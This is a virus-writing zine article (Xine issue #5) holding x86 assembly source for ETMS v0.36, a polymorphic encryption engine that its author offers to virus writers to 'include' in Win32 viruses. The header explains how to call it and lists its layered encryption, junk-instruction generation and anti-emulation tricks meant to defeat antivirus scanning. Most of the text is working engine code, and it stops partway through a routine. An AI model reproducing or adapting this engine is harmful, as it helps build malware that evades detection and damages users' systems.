Copy Link
Add to Bookmark
Report
Xine - issue #5 - Phile 300
Ú-----------------------------¿
| Xine - issue #5 - Phile 300 |
À-----------------------------Ù
;
; - expressway to my skull -
; - [ETMS] v0.36 -
; - b0z0/iKX -
;
; This is a polymorphic engine for Win32/Win9X viruses. It should be fully
; compatible with any 486+ processor. You should check ver. 0.1 (Xine#4)
; for some more basic informations.
;
; Changes from v0.1:
; - Multiple layers of encryption (random from 2 to 7 layers)
; - New garbage types added (MOVSX, MOVZX, BT family, SET family,
; XADD, SHLD/SHRD, CMPXCHG, BSWAP, XLAT, ENTER/LEAVE) on regs,
; mem, flags (when possible). Direct read/write on stack using
; ESP + offset.
; - Antiemulation structures (code emulation checks, stack consistency
; checks, stack segment play, memory consistency on writes)
; - New ways of incrementing/decrementing pointer/counter, changing
; encryption key, initializing registers and exiting from loop.
; - Some minor parts have been rewritten
;
; Using the poly:
; Just add the ETMS source in your virus, simply:
; include etms.asm
; Set the registers as described below and then call the poly. The poly uses
; some data for internal purposes. This data of course is not needed to be
; carried around with your infected file or whatever. You can just include
; the ETMS source at the end of the file and then skip the bytes that start
; from the label _mem_data_start. Of course you'll need to have that free
; memory placed there at runtime.
; The random seed (the dd at seed) should be initialized at first poly
; run to a value between 0 and 714024.
;
; Calling parameters:
; ECX = Lenght of things to be encrypted
; ESI = Pointer to what we want to encrypt
; EDI = Where to place decryptor and encrypted stuff
; EBP = Offset at which decryptor will run
; EDX = Some free temporary place for the poly
; The two needed space zones (EDI and EDX) should be at least 25kb plus
; the lenght of your code. Just allocate some mem, you're in Windoze baby!
;
; On exit:
; EDI = Pointer to generated code
; ECX = Lenght of generated code (decryptor + encrypted code)
;
; Contacts:
; Email me at cl0wn@geocities.com or query me on irc.
;
; Special greetings:
; I'd like to specially thank StarZero/iKX for the great support and for
; convincing me to write this. Greetings also to pigpen/s0ftpj for persistent
; support irl, crazyness roxor! ;), and also greets to claire for making me
; feel like i tought i could never feel
;
; Misc greetings to:
; The entire iKX and S0ftpj crew and: kernel panic, darkman, gigabyte,
; jackie-, rucker, talena, benny, inty13, uselessa, reptile, dandler, fusys,
; jhb, slagehammer, giorgetto, tankie, griyo and gf, vecna, belfa, del0,
; wintermute, spanska, sepultura, cavallo, milla, ^syren^, claire.
;
; - live fast, die young -
; - written in aug/sept 2000 -
;
poly:
cld
push edi
push edi
call poly_delta
poly_delta:
pop eax ; where we are running
sub eax,offset poly_delta
push ecx
push eax
lea ebx,[offset v_runnin + eax]
o_vrun equ offset v_runnin ; save some bytes since off between
; various data is a 8b
mov dword ptr [ebx],ebp
mov dword ptr [ebx - (o_vrun - offset orig_dx)],edx
mov dword ptr [ebx - (o_vrun - offset layer_nr)],tl_space
xor ecx,ecx
bit_loop:
inc ecx
shl ebp,1
jnc bit_loop ; find higher bit with an 1
dec ecx ; for random memory offsets
mov byte ptr [ebx - (o_vrun - offset t_memand)],cl
pop ebp ; delta
how_manylayers:
call get_random_al7 ; random number of layers
cmp al,6 ; from 2 to 7
jae how_manylayers
mov ecx,l_space
mul ecx
mov dword ptr [ebx - (o_vrun - offset layer_end)],eax
pop ecx
start_layer:
o_tini equ offset r_pointer
lea ebx,[offset r_pointer + ebp]
; dest, cnt and source
mov dword ptr [ebx - (o_tini - offset t_inipnt)],edi
mov dword ptr [ebx - (o_tini - offset v_lenght)],ecx
mov dword ptr [ebx - (o_tini - offset v_virusp)],esi
mov dword ptr [ebx - (o_tini - offset r_pointer)],010ffffffh
mov dword ptr [ebx - (o_tini - offset t_chgpnt)],01000404h
xor eax,eax
mov dword ptr [ebx - (o_tini - offset t_fromend)],eax
mov dword ptr [ebx - (o_tini - offset t_pntoff)],eax
mov dword ptr [ebx - (o_tini - offset t_cntoff)],eax
mov dword ptr [ebx - (o_tini - offset w_loopbg)],eax
mov dword ptr [ebx - (o_tini - offset t_inacall)-2],eax
inc al
mov dword ptr [ebx - (o_tini - offset t_exitjmp)],eax
push edi ; initialize layer data
mov ecx,[ebx - (o_tini - offset layer_nr)]
lea edi,[ebx - (o_tini - offset enc_space) + ecx + 10h]
; init layers encryptor, regs struct no needed
mov al,90h ; virgin encryptor
mov dword ptr [ebx - (o_tini - offset w_encrypt)],edi
mov ecx,enc_max
rep stosb
pop edi
call rnd_garbage
mov ecx,3
mov esi,ebx ; to memory structures
mov edx,dword ptr [esi - (o_tini - offset layer_nr)]
; edx has offset in the layer structure
init_part:
push ecx
select_register:
call get_register ; get a unused register
xchg ebx,ecx
select_block:
call get_random_al7
and al,011b
jz select_block ; select from 01 to 03
dec eax
cmp byte ptr [eax+esi],0ffh ; check if that stage already
jne select_block ; done
mov byte ptr [eax+esi],bl ; save the register for that
; stage
or al,al
jnz not_pointer
mov dword ptr [esi - (offset r_pointer - offset enc_space) + edx + 12],edi
; save offset where the
jmp assign_next ; pointer is initialized
not_pointer:
dec eax
jnz not_counter
mov dword ptr [esi - (offset r_pointer - offset w_counter)],edi
jmp assign_next ; assign inital counter
not_counter:
call get_random ; get key
mov dword ptr [esi - (offset r_pointer - offset enc_space) + edx],eax
xchg eax,ecx ; save key for encryptor
call get_random
and al,1
jz assign_next ; if so use key
mov byte ptr [esi+2],20h ; don't use key, just imm
jmp next_loop
assign_next:
; BL register
; ECX value
; either with mov reg, imm or via stack
call get_random
shr al,1
jnc do_withmov
mov al,068h ; push immediate
stosb
xchg eax,ecx
stosd
call rnd_garbage
mov al,bl
add al,058h ; pop reg32 base
stosb
jmp next_loop
do_withmov:
mov eax,ebx ; in bl register
or al,0b8h ; mov base
stosb
xchg eax,ecx
stosd ; the value
next_loop:
mov al,bl
call set_used ; mark as unusable so far
call rnd_garbage
pop ecx
loop init_part ; make all init steps
; now some base assignment to a pointer, counter and key (if used) registers
; has been done. here we are gonna change a bit the various registers where
; the various things has been assigned
call get_random_al7
and al,011b ; from 0 to 3 moves, could be 0-7 ?
jz decryptor_build_start
xchg eax,ecx
reg_movida:
push ecx
get_whichone:
call select_save ; select which to change (pnt,cnt,key)
jc leave_this_out
call save_mov_xchg ; change the regs using mov or xchg
mov byte ptr [edx],al
leave_this_out:
pop ecx
loop reg_movida
decryptor_build_start:
; decryptor loop begins right here
lea esi,[offset t_chgpnt + ebp]
mov dword ptr [esi - (offset t_chgpnt - offset w_loopbg)],edi
call get_random ; select if starting from head or from
and ax,0101h ; tail and if counter will dec or inc
mov word ptr [esi - (offset t_chgpnt - offset t_fromend)],ax
xchg eax,edx ; rnd in edx
shl edx,1 ; add a constant to counter?
jnc normal_counter
call get_random
mov dword ptr [esi - (offset t_chgpnt - offset t_cntoff)],eax
normal_counter:
cmp byte ptr [esi - (offset t_chgpnt - offset r_pointer)],05h
; no bp + off
je reget_size_op
shl edx,1 ; select if use only pointer or
jc reget_size_op ; pointer + offset
call get_random ; select random offset
mov dword ptr [esi - (offset t_chgpnt - offset t_pntoff)],eax
; if using get offset
reget_size_op:
call get_random
mov edx,eax
and eax,0fh ; select math operation and size
or eax,eax ; of operand
jz reget_size_op
; byte word dword
; ror 1 6 b
; sub 2 7 c
; xor 3 8 d
; add 4 9 e
; rol 5 a f
;
no_rorrrpr:
cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],03
; if not ax,cx,dx,bx then can't be byte
jb can_use_all ; as key
cmp al,6 ; is byte? get another
jb reget_size_op
can_use_all:
xor ecx,ecx
mov cl,10 ;9
cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],20h
je no_keychanges
shr edx,8 ; edx has rnd
and edx,011b
mov byte ptr [esi - (offset t_chgpnt - offset t_chgkey)],dl
add ecx,edx ; add nr of key changes
no_keychanges:
cmp al,0bh
jae ok_counts
sub ecx,4d ; if with words 4 inc/dec less
sub word ptr [esi],0202h
cmp al,06d
jae ok_counts
dec ecx ; for bytes even less
dec ecx
sub word ptr [esi],0101h
ok_counts:
push eax
call rnd_garbage
get_nextseq:
call get_random_al7
cmp al,4
ja get_nextseq
xchg eax,edx
cmp byte ptr [esi+edx],0 ; need more ?
je get_nextseq
dec byte ptr [esi+edx]
shl edx,2 ; offset = * 4
sub edx,(offset t_chgpnt - offset o_table)
pop eax
push eax
push ecx
push esi
mov ecx,dword ptr [esi+edx]
add ecx,ebp
call ecx ; call the routine to do it
pop esi
pop ecx
pop eax
loop ok_counts
; finished decryption loop, needs just the jump backwards
call rnd_garbage
mov al,0e9h
stosb
xor eax,eax
xchg eax,dword ptr [esi - (offset t_chgpnt - offset w_loopbg)]
; the jump back to start of
sub eax,04h ; the decryptor and enable
sub eax,edi ; overwriting on loop :)
stosd
call rnd_garbage
call rnd_garbage
lea esi,[offset v_lenght + ebp]
push edi ; write the offset of the exit jump
mov edx,dword ptr [esi - (offset v_lenght - offset t_chkpos)]
sub edi,edx
mov dword ptr [edx-4],edi
pop edi
; now decryption loop generation is finished
mov byte ptr [esi - (offset v_lenght - offset r_used)],10h
; can use all regs (except ESP) again
call rnd_garbage ; unencrypted one, some more here
call rnd_garbage
push edi
call rnd_garbage ; encrypted garbage
pop ecx
neg ecx
add ecx,edi ; how much encrypted garbage
mov edx,ecx
sub edi,edx
add ecx,dword ptr [esi]
shr ecx,2 ; so it will be enough for b/w/d enc
inc ecx
shl ecx,2
movzx eax,byte ptr [esi - (offset v_lenght - offset t_prejmp)]
add ecx,eax ; decs before cmp, so we reach equality
pop eax
neg eax
add eax,edi ; lenght of decryptor
add eax,edx ; total displacement for this layer
push eax ; so we can correct mem refs
sub eax,edx
add eax,dword ptr [esi - (offset v_lenght - offset v_runnin)]
; running offset
push esi
add esi,dword ptr [esi - (offset v_lenght - offset layer_nr)]
mov ebx,dword ptr [esi - (offset v_lenght - offset enc_space) + 12]
pop esi
cmp byte ptr [esi - (offset v_lenght - offset t_fromend)],00h
pushf
je no_adding
add eax,ecx ; from end
no_adding:
sub eax,dword ptr [esi - (offset v_lenght - offset t_pntoff)]
; - pointer offset if is there
mov dword ptr [ebx+1],eax ; set initial pointer
mov ebx,dword ptr [esi - (offset v_lenght - offset w_counter)]
inc ebx
mov eax,dword ptr [esi - (offset v_lenght - offset t_cntoff)]
add eax,ecx
mov dword ptr [ebx],eax
cmp byte ptr [esi - (offset v_lenght - offset t_countback)],01h
je not_negcnt
neg dword ptr [ebx]
not_negcnt:
mov ebx,edi ; pointer on code to encrypt
add edi,edx ; + encrypted garbage
popf
je no_adding2
add ebx,ecx ; add lenght if from end
no_adding2:
; save layer data (cnt and pnt) in its entry
push esi
add esi,dword ptr [esi - (offset v_lenght - offset layer_nr)]
mov dword ptr [esi - (offset v_lenght - offset enc_space) +4],ecx
mov dword ptr [esi - (offset v_lenght - offset enc_space) +8],ebx
pop esi
push esi
mov esi,dword ptr [esi - (offset v_lenght - offset v_virusp)]
push ecx
sub ecx,edx
rep movsb ; copy what to encrypt
pop edx
pop esi
pop eax ; this layer lenght to sum
mov ecx,dword ptr [esi - (offset v_lenght - offset layer_nr)]
corr_addr:
cmp ecx,tl_space ; correct the adresses of the lower layers
je corr_end
add ecx,l_space
add [esi - (offset v_lenght - offset enc_space) + ecx + 12d],eax
add [esi - (offset v_lenght - offset enc_space) + ecx + 8d],eax
mov ebx,[esi - (offset v_lenght - offset enc_space) + ecx + 12d]
add dword ptr [ebx + 1],eax ; pointer from decryptor
jmp corr_addr
corr_end:
mov ecx,dword ptr [esi - (offset v_lenght - offset layer_end)]
cmp dword ptr [esi - (offset v_lenght - offset layer_nr)],ecx
je finished_layers
sub dword ptr [esi - (offset v_lenght - offset layer_nr)],l_space
pop ecx ; initial EDI
push ecx
push ecx
push ecx
sub ecx,edi ; calculate new lenght to encrypt
neg ecx
pop edi
push ecx
mov esi,dword ptr [esi - (offset v_lenght - offset orig_dx)]
xchg esi,edi
mov edx,edi
push esi
rep movsb ; copy to temp space and use that one
pop edi ; as source for next layer
mov esi,edx
pop ecx
jmp start_layer ; construct next encryption layer
finished_layers:
; now in reverse order
; create each encryption layer
mov eax,dword ptr [esi - (offset v_lenght - offset layer_end)]
sub esi,(offset v_lenght - (offset enc_space + 10h) - tl_space)
push edi
enc_nl:
mov ecx,enc_max ; the stored regs
lea edi,[ebp + offset enc_space_final]
rep movsb
mov ecx, [esi - enc_max - 16] ; key value
mov edx, [esi - enc_max - 12] ; counter
mov ebx, [esi - enc_max - 8] ; pointer
sub esi, (l_space + enc_max) ; on next layer
; layer chunk, most of it will be overwritten by the one in the structure
enc_max equ 24h
; lenghts
; 6 = max encryption operation
; 4 = max 4 inc/dec counter
; 4 = max 4 inc/dec counter
; 3 * 6 = max 3 * 6 byte key change operations
; 4 = check on edx + jump short
enc_space_final:
db enc_max dup (90h) ; here the encryptor will be placed
jmp enc_space_final
exit_space_final:
add eax,l_space ; next layer structure
cmp eax,(tl_space + l_space); last layer to do?
jne enc_nl
ll_end:
pop ecx ; the final edi
pop edi ; calling edi
sub ecx,edi ; total lenght
ret ; poly finished
; - ETMS return point
poly_name db '[ETMS] v0.36 -b0z0/iKX-'
put_encloop_2:
push ecx
xor ecx,ecx
inc ecx
inc ecx
jmp short put_encloop
put_encloop_1:
push ecx
xor ecx,ecx
inc ecx
put_encloop:
; ecx nr of bytes
push eax
xchg edi,dword ptr [w_encrypt+ebp] ; in EDI where we are in enc
; and save dec position
copy_it:
stosb
shr eax,8
loop copy_it
xchg dword ptr [w_encrypt+ebp],edi ; save next and restore dec pnt
pop eax
pop ecx
ret
o_table:
o_counter dd offset ch_counter
o_pointer dd offset ch_pointer
o_key dd offset ch_key
o_mate dd offset ch_mate
o_exitjmp dd offset ch_exitjmp
ch_exitjmp: ; compare and exit jump for dec loop
xor eax,eax
inc eax
mov ecx,dword ptr [esi - (offset t_chgpnt - offset t_cntoff)]
or ecx,ecx
jnz must_compare ; is + a constant ?
get_checker:
call get_random
and eax,0fh
cmp al,09d
ja get_checker
must_compare:
shr al,1
pushf
mov ah,byte ptr [eax + offset chk_counter + ebp] ; get comparer
add ah,byte ptr [esi - (offset t_chgpnt - offset r_counter)]
mov al,81h
popf
jc store_d00
inc eax
inc eax
stosw
xor al,al
stosb
jmp make_jumps
store_d00:
stosw
xchg eax,ecx
cmp byte ptr [esi - (offset t_chgpnt - offset t_countback)],01h
je not_negcnt1
neg eax
not_negcnt1:
stosd
make_jumps:
mov ax,840fh ; jz long
stosw
stosd
mov dword ptr [esi - (offset t_chgpnt - offset t_chkpos)],edi
done_cond:
xchg edi,dword ptr [esi - (offset t_chgpnt - offset w_encrypt)]
mov ax,0d20bh
stosw
mov eax,edi
sub eax,dword ptr [esi - (offset t_chgpnt - offset layer_nr)]
sub eax,(offset enc_space)+10h+enc_max
add eax,ebp ; must go over the jump
neg eax
mov ah,74h
xchg al,ah
stosw
xchg edi,dword ptr [esi - (offset t_chgpnt - offset w_encrypt)]
ret
ch_counter: ; decrement/increment counter
cmp byte ptr [esi - (offset t_chgpnt - offset t_exitjmp)],00h
je no_pntchgndd
inc byte ptr [esi - (offset t_chgpnt - offset t_prejmp)]
no_pntchgndd:
mov ah,byte ptr [esi - (offset t_chgpnt - offset r_counter)]
mov al,byte ptr [esi - (offset t_chgpnt - offset t_countback)]
mov cl,0ah ; edx + always dec in encryptor
jmp mk_incdec
ch_pointer: ; increment/decrement pointer
mov ah,byte ptr [esi - (offset t_chgpnt - offset r_pointer)]
mov al,byte ptr [esi - (offset t_chgpnt - offset t_fromend)]
mov cl,03h ; using ebx in encryptor
; jmp mk_incdec
mk_incdec:
; al = 0 means dec, 1 means inc
; ah = register to use
; cl = oring for encryptor
shl al,3
or al,40h
or al,ah
push eax
push eax ; will need this one for encryptor
call get_random_al7 ; how enc/dec stuff ?
shr al,1
jnc lbl_hh
pop eax
jmp set_enc_id_pre ; do with inc/dec
lbl_hh:
shr al,1
mov al,083h ; common prefix
stosb
pop eax
jc do_with_sub
; do with add (either +1 or +(-1))
or ah,0c0h
and al,8h ; was decrementing ?
jnz use_minus1
jmp use_plus1
do_with_sub:
or ah,0e8h
and al,08h ; was incrementing
jz use_minus1
use_plus1:
xor al,al ; 01h
inc al
jmp set_enc_id_pre2
use_minus1:
xor al,al ; 0ffh
dec al
set_enc_id_pre2:
xchg ah,al
stosb
xchg ah,al
set_enc_id_pre:
stosb
set_enc_id:
pop eax
and al,(NOT 0111b)
or al,cl
jmp put_encloop_1 ; put in encryptor and go away
ch_key: ; change key register
cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],20h
je exit_keychange
get_modifier:
call get_random_al7
mov cl,al
mov ah,byte ptr [eax + offset key_changers + ebp]
mov al,81h ; add/sub/xor base
cmp cl,3
jb no_rrrr
mov al,0c1h ; rol/ror base
cmp cl,5
jne no_rrrr
mov al,0f7h
no_rrrr:
push eax
reget_ksize:
call get_random ; select if byte/word/dword
and al,011b
jz reget_ksize
cmp cl,05h ; inc dec just on dw and dd
jbe isntincdec
cmp al,01h
je reget_ksize
isntincdec:
cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],3
jbe canall
cmp al,01b ; byte keychange only for ax,cx,dx,bx
je reget_ksize
canall:
mov ch,al
mov dl,ah ; random stuff
pop eax
cmp ch,01h
jne no_decbyte
dec al
shr dl,1
jc no_decbyte
add ah,04h ; work on high byte
no_decbyte:
cmp ch,02h
jne no_wordprefix
push eax
mov al,66h
stosb
call put_encloop_1
pop eax
no_wordprefix:
cmp cl,06h
pushf
jb no_incdecch ; inc/dec has just one byte opcode
dec edi
mov al,byte ptr [edi]
no_incdecch:
popf
push eax
jb no_nopneeded
mov al,ah
or al,1 ; ecx key in enc loop
call put_encloop_1 ; for inc/dec
jmp short after_store
no_nopneeded:
or ah,1 ; key is ECX in enc loop
call put_encloop_2
after_store:
pop eax
or ah,byte ptr [esi - (offset t_chgpnt - offset r_regkey)]
stosw
cmp cl,05 ; inc/dec/not doesn't need any key
jae exit_keychange
call get_random
cmp cl,03
jae just_one_bk ; ror/rol just one byte key
cmp ch,01h
je just_one_bk ; check dimension of key modifier
stosb
call put_encloop_1
shr eax,8h
cmp ch,02h
je just_one_bk
stosw
call put_encloop_2
shr eax,10h
just_one_bk:
stosb
call put_encloop_1
exit_keychange:
ret
ch_mate: ; creates the decryption math operation
xor edx,edx
mov ecx,5h
type_sel:
cmp eax,ecx
jbe ok_regs
inc edx
sub eax,ecx
jmp type_sel ; get type and size.. in EDX size, in EAX type
; edx = 0 for byte, 1 for word, 2 for dword
ok_regs:
cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],20h
lea esi,[offset _math_imm + ebp]
je without_key
add esi,(offset _math_key - offset _math_imm)
without_key:
dec eax ; type - 1
push esi
push eax
shl eax,1 ; each type is a word
add esi,eax
lodsw ; ax = mathop word
cmp dl,1
jne not_word
push eax
mov al,066h
stosb
call put_encloop_1
pop eax
not_word:
or dl,dl
jnz not_byte
dec al
not_byte:
pop ebx ; type - 1
pop esi ;
push ebx
push eax
neg ebx
add ebx,4 ; get opposite math operation
shl ebx,1
add esi,ebx
lodsw
lea esi,[offset r_regkey + ebp]
cmp byte ptr [esi],20h
je ok_regskey
cmp al,0d3h
je ok_regskey
add ah,08h ; since ECX is used as key
ok_regskey:
or dl,dl
jnz not_byterev
dec al
not_byterev:
add ah,03h ; in enc loop using EBX
call put_encloop_2
pop eax
mov cl,byte ptr [esi - (offset r_regkey - offset r_pointer)]
cmp cl,03h ; eax-ebx
ja upper_ones
add ah,cl
jmp ok_register_p
upper_ones:
add ah,06h
cmp cl,06h ; esi
je ok_register_p
inc ah
cmp cl,07h ; edi
je ok_register_p
add ah,03eh ; ebp
ok_register_p:
pop ecx ; type-1
cmp dword ptr [esi - (offset r_regkey - offset t_pntoff)],0
je not_plusoff
add ah,80h
not_plusoff:
stosw
xor eax,eax
cmp byte ptr [esi],20h ; using key?
je ok_register_k
or cl,cl
je check_rr
cmp cl,4
jne not_rol_ror
check_rr:
cmp byte ptr [esi],1 ; is key CX (cl)
je ok_register_k
mov al,10h ; if not put just immediate
sub byte ptr [edi-2],12h
mov ebx,dword ptr [esi - (offset r_regkey - offset w_encrypt)]
sub byte ptr [ebx-2],12h
push ecx
mov bl,20h
xchg bl,byte ptr [esi] ; won't use key reg anymore in the
call unset_used ; future, so use for garbage
pop ecx
jmp short ok_register_k
not_rol_ror:
mov al,byte ptr [esi]
shl eax,3 ; * 8
add byte ptr [edi-1],al ; key register
ok_register_k:
cmp byte ptr [esi - (offset r_regkey - offset r_pointer)],05h
jne not_usingbp
mov byte ptr [edi],00h
inc edi
not_usingbp:
mov eax,dword ptr [esi - (offset r_regkey - offset t_pntoff)]
or eax,eax
jz no_offsetadd
stosd
no_offsetadd:
cmp byte ptr [esi],20h
jne no_key_needed
push esi
add esi,dword ptr [esi - (offset r_regkey - offset layer_nr)]
mov eax,dword ptr [esi - (offset r_regkey - offset enc_space)]
pop esi
or cl,cl
je byte_key
cmp cl,4
je byte_key
or dl,dl
je byte_key
stosb
call put_encloop_1
shr eax,8
dec dl
jz byte_key
stosw
call put_encloop_2
shr eax,10h
byte_key:
stosb
call put_encloop_1
no_key_needed:
ret
rnd_garbage:
push ecx
push eax
call get_random
and eax,0fh ; max - 1
inc eax ; not zero
xchg eax,ecx
garbager:
; ecx how many
push edx
push ebx
garbager_loop:
push ecx
get_op_type:
call get_random ; how many possible types
and eax,garbage_mask
cmp eax,garbage_number
ja get_op_type
mov ecx,[(eax*4)+offset garbage_offsets+ebp]
add ecx,ebp
call ecx ; call garbage routine
pop ecx
loop garbager_loop
mov eax,dword ptr [t_pushed+ebp]
cmp eax,000005h ; if not in a call, not in a jump and
ja stack_is_ok ; pushed <=5
or eax,eax
jz stack_is_ok
inc byte ptr [t_inacall+ebp]
cmp al,01h
ja direct_addesp
call do_pop_nocheck
jmp stack_is_ok
direct_addesp:
push eax ; then correct stack
mov ax,0c483h ; add esp,nr_dd * 4
stosw
pop eax
call force_popall
stack_is_ok:
pop ebx
pop edx
pop eax
pop ecx
ret
do_push:
cmp byte ptr [t_pushed+ebp],05h ; max dwords on the stack
ja exit_pusher
inc byte ptr [t_pushed+ebp]
call get_random ; 4 types of pushing
and al,011b
jz push_register ; normal push reg
dec al
jz push_immediate_dd ; push immediate double
dec al
jz push_immediate_by ; push immediate byte
mov ax,35ffh ; push immediate from memory
stosw
call get_address
jmp pre_exit_dd
push_immediate_by:
mov al,6ah
stosb
shr ah,1
jc zero_or_menouno
bswap eax
jmp pre_exit_pusher
zero_or_menouno: ; very usual pushes
xchg ah,al
and al,01b ; so we will get 0 or -1
dec al ; to LARGE 0 or to LARGE -1
jmp pre_exit_pusher
push_immediate_dd:
mov al,68h
stosb
call get_random
pre_exit_dd:
stosd ; normal push as double
jmp exit_pusher
push_register:
call get_random_al7
add al,050h
pre_exit_pusher:
stosb
exit_pusher:
jmp exit_ppc
do_pop:
cmp byte ptr [t_pushed+ebp],00h
je return_nopop
do_pop_nocheck:
call get_random
shr al,1
jnc popintoreg2
mov ax,0c483h ; add esp,
stosw
get_number:
call get_random_al7
jz get_number
cmp al,byte ptr [t_pushed+ebp]
ja get_number
force_popall:
sub byte ptr [t_pushed+ebp],al
shl al,2 ; dd are pushed, so * 4
jmp store_ngo2
popintoreg2:
call get_register
add cl,058h ; pop in a register
xchg eax,ecx
dec byte ptr [t_pushed+ebp]
store_ngo2:
stosb
return_nopop:
jmp exit_ppc
call_subroutines:
cmp word ptr [t_maxjmps+ebp],0h ; don't nest too much nor
jne just_exit_call ; put pushes/pops in subs and
; we can't know wassup in
; conditional jumps and such
inc byte ptr [t_inacall+ebp]
call get_random_al7
cmp al,01h ; 00h and 01h push
jbe do_push
cmp al,05 ; 02h - 05h pops (more probable so final stack
jbe do_pop ; correction should be needed less often)
; 06,07 do a call
mov al,0e8h
stosb
stosd ; place for offset
push edi
call rnd_garbage
pop ebx
mov al,0e9h
stosb
stosd ; jump offset
push edi
call krappo_gen ; random bytes
call rnd_garbage
push ebx
neg ebx
add ebx,edi
xchg eax,ebx
pop ebx
mov dword ptr [ebx-4],eax ; call offset
call rnd_garbage ; this is the called "subroutine"
call get_random ; more ways of getting back from subroutine,
shr al,1 ; either with normal ret or by correcting the
jnc normal_ret ; stack by popping or by adding to esp
shr al,1
jnc popintoreg
mov ax,0c483h ; add esp,
stosw
mov al,4
jmp store_ngo
popintoreg:
call get_register
add cl,058h ; pop base
xchg eax,ecx
jmp store_ngo
normal_ret:
mov al,0c3h ; ret
stosb
bswap eax ; some random
and eax,07h
cmp al,4
jb do_the_int3s
jne no_ccs
random_crap:
call krappo_gen
jmp no_ccs
do_the_int3s:
xchg eax,ecx
mov al,0cch ; int3, usual after subroutines in win32s
rep stosb
store_ngo:
stosb
no_ccs:
call rnd_garbage
pop ebx ; jump offset
push ebx
neg ebx
add ebx,edi
xchg eax,ebx
pop ebx
mov dword ptr [ebx-4],eax
exit_ppc:
dec byte ptr [t_inacall+ebp]
just_exit_call:
ret
maths_immediate_short:
stc
jmp maths_immediate_1
maths_immediate:
clc
maths_immediate_1:
pushf
call get_random ; (0 to 7) * 8
and al,0111000b
add al,0c0h ; the base
popf
push eax
pushf
call get_register
add al,cl
mov ah,81h ; prefix
popf
pushf
jnc not_a_shortone
inc ah
inc ah
not_a_shortone:
xchg ah,al
stosw
call g_dimension
popf
jnc not_a_shortone2
mov cl,01h
not_a_shortone2:
call put_immediates
pop eax
cmp al,0f8h ; is a CMP
jne not_compare
make_jmp_after_cmp:
call get_random
and eax,01b ; long or short jump
add al,06h ; short jump
jmp make_jump
not_compare:
ret
cdq_jmps_savestack:
call get_random_al7
sub al,3
jc exit_c_j_ss
xchg eax,ecx
mov al,byte ptr [ecx+offset change_jump+ebp]
cmp cl,1
ja not_cdq_cbw
test byte ptr [r_used+ebp],0101b ; EAX and EDX for cbw,cwd,cdq,cwde
jnz exit_c_j_ss
stosb
inc edi
call g_dimension
dec edi
jmp exit_c_j_ss
not_cdq_cbw:
cmp cl,4
je pushandmov
add cl,4 ; this is used for dimension
jmp do_that_fjump ; do as for conditional ones
pushandmov:
call select_save
jc exit_c_j_ss
xchg eax,ebx
mov al,50h ; push
xor ch,ch ; so it won't be erased from stack
xchg ch,byte ptr [t_pushed+ebp]
push ecx
call unset_used ; mark that as unused one
add al,bl ; push the reg
stosb
call rnd_garbage
add al,08h ; pop opcode
stosb
pop ebx
mov byte ptr [t_pushed+ebp],bh
mov byte ptr [r_used+ebp],bl
exit_c_j_ss:
ret
gen_one_byters:
call get_random_al7
make_jump:
mov cl,al
mov al,byte ptr [eax+offset one_byters+ebp] ; get onebyter
cmp cl,05h
jbe not_jump
do_that_fjump:
cmp byte ptr [t_maxjmps+ebp],3 ; don't nest too much
je just_exit
inc byte ptr [t_maxjmps+ebp]
cmp al,0e9h ; for unconditional ones skip some
jae skip_unc ; things
cmp cl,07h
jne not_longjump
push eax
mov al,0fh ; long prefix
stosb
pop eax
not_longjump:
push eax
call get_random
and al,0fh
mov ch,al
pop eax
add al,ch
skip_unc:
stosb ; type of jump
stosb ; first off
cmp cl,07h
jne not_longone
dec edi
stosd
not_longone:
push edi
call rnd_garbage
pop ebx
mov eax,edi
sub eax,ebx ; offset of jump
dec byte ptr [t_maxjmps+ebp]
cmp cl,7
je long_jumper
cmp eax,7fh ; if not too big then use it
jb good_jump
mov edi,ebx ; else forget everything
dec edi
dec edi
ret
good_jump:
mov byte ptr [ebx-1],al
ret
long_jumper:
mov dword ptr [ebx-4],eax
ret
not_jump:
stosb
just_exit:
ret
mem_assign:
mov ax,058bh
jmp mem_common
mem_mathops:
call get_random
and al,111000b ; (0 to 7) * 8
add al,03h ; base
mem_common:
push eax
call get_register
shl cl,3 ; *8
add cl,05h ; base for eax
mov ah,cl
stosw
call g_dimension
; now offset
call get_address
stosd
pop eax
cmp al,3bh ; is a cmp
je make_jmp_after_cmp ; if so force a compare
ret
diff_movz: ; movsx,movzx,bt,btc,btr,bts,bswap
call get_random ; 1 bit dim, 2 bit m/b
mov cl,al
mov dh,ah
test cl,1100000b
jnz no_wpf
mov al,066h
stosb
no_wpf:
mov al,0fh
stosb
mov al,0b6h
shr cl,1
jc some_bt
shr cl,1
jc zero_extend
add al,08h
zero_extend:
shr cl,1
jc dest_dw ; generate movsx/movzx on d or w
inc al
dest_dw:
stosb
call get_random_al7
mov dl,al
add al,0c0h
call get_register
shl cl,3
add al,cl
and dh,011b
pushf
jnz just_regs
sub al,0c0h-05h
sub al,dl
just_regs:
stosb
popf
jnz justret_r
call get_address
stosd
justret_r:
ret
some_bt:
shr cl,1
jc do_bswap
add al,04h ; btX second byte
stosb
and cl,011000b
add cl,0e0h
mov al,cl
call get_register
add al,cl
stosb
shr dh,1
pushf ; make jmp after or not
and dh,01fh ; not much sense doing > 32
mov al,dh
stosb
popf
jc make_jmp_after_cmp
ret
do_bswap:
call get_register
mov al,0c8h ; bswap
add al,cl
stosb
ret
mov_registers:
call get_random_al7 ; random source
add al,0c0h
mov ah,08bh
call get_register ; useful dest
shl cl,3
add al,cl
xchg ah,al
stosw
jmp g_dimension
maths_registers:
call get_random
and al,0111000b
add al,03h ; base
mov ah,0c0h ; suff
push eax
call get_register ; dest
shl cl,03h
add ah,cl
xchg eax,ecx ; save temp in ecx
call get_random_al7 ; all regs
xchg eax,ecx ; reg in ECX and restore EAX
add ah,cl
stosw
call g_dimension
pop eax
cmp al,3bh
je make_jmp_after_cmp
ret
rotating_imms:
call get_random_al7
cmp al,0110b ; 0f0 doesn't exist
je rotating_imms
shl al,3 ; *8
add al,0c0h
call get_register
add al,cl
mov ah,0c1h
xchg al,ah
stosw
call g_dimension
xor ecx,ecx
inc cl
jmp put_immediates
notneg_register:
call get_random
shr al,1
mov ax,0d0f7h
jc not_add
add ah,08h
not_add:
call get_register
add ah,cl
stosw
; jmp g_dimension
g_dimension:
; EDI after generated garb
reget_dim:
call get_random_al7
